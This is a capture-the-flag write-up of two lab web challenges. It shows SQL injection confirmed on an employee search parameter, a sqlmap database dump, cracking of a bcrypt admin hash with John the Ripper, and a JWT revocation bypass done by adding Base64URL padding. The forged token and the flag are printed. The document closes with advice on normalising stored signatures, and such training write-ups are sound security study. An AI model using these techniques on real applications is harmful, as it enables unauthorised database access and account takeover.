Revoked & Revoked Revenge β SQLi to JWT Revocation Bypass
π Revoked Challenge
1οΈβ£ Initial Enumeration
I started by visiting the challenge website, which exposed:
- A login page
- A registration page
I initially tested the login form for basic SQL injection, but the endpoint didnβt return anything exploitable.
2οΈβ£ Creating an Account
Since login SQLi failed, I registered a new user:
username: test password: test
After logging in, two new routes appeared:
/employeesβ employee search page/adminβ admin panel (access denied)
The objective was clearly to escalate privileges to admin.
3οΈβ£ Finding the Injection Point
On /employees, there was a search bar issuing the request:
GET /employees?query=
First test
GET /employees?query=β
Resulted in a 500 Internal Server Error, confirming a backend SQL error.
Second test
GET /employees?query=β β
Returned 200 OK, meaning the query became syntactically valid.
β
SQL injection confirmed on the query parameter.
4οΈβ£ Manual SQLi Testing
I sent the request to Burp Intruder and started testing UNION-based payloads.
Column count discovery
Through incremental UNION tests, I confirmed the query had 4 columns.
Data type testing
All columns accepted string values, meaning 'text' could be injected safely.
At this stage, dumping the database manually was possible β but automation was faster.
5οΈβ£ Automating with SQLMap
I saved the vulnerable request (including the JWT cookie) into req.txt and ran:
1
sqlmap -r req.txt -p query --dbms=SQLite --dbs --batch --tables --dump-all
SQLMap identified three tables, one of which contained credentials. 
1
2
username
password_hash (bcrypt)
6οΈβ£ Cracking the Admin Password Using John the Ripper with RockYou:
1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
β Password cracked:
1
pass
Logging in as admin granted access to the admin panel and revealed the flag.
Revoked Revenge Challenge
π§ Overview This challenge looked almost identical β same /employees page, same SQL injection.
However, after dumping the database, a suspicious table appeared:
revoked_tokens
π JWT Analysis I extracted the admin JWT and decoded it using jwt.io.
1
2
3
4
5
6
7
8
9
10
11
Header
{
"alg": "HS256",
"typ": "JWT"
}
Payload
{
"username": "admin",
"is_admin": 1,
"issued": 1764597744.384469
}
Everything looked valid β but admin access was denied.
I tried all classic attacks:
Modifying is_admin
alg: none
Cracking HS256 secret
Nothing worked.
π‘ The Revocation Bypass The admin token signature appeared in the revoked_tokens table:
V7RNjlnwqGAnSLl6sbG4MS1uOM45fAUp3a2khurJ-1E After digging deeper, I realized the revocation system was comparing raw Base64URL strings.
Key insight: Base64URL padding (=) is optional
Adding == does not change decoded bytes
Signature verification still passes
Result: Original token β blocked
Token + == β bypasses revocation
β Working Admin Token
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDU5Nzc0NC4zODQ0Njl9.V7RNjlnwqGAnSLl6sbG4MS1uOM45fAUp3a2khurJ-1E==
Used it β instant admin access.
π© Final Flag
1
Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}
π§ Takeaway Never store raw JWT signatures for revocation.
β Always normalize β Or hash decoded signature bytes β Never compare raw Base64URL strings
This padding trick is a killer bypass when revocation is implemented sloppily.
HAPPY HACKING π
















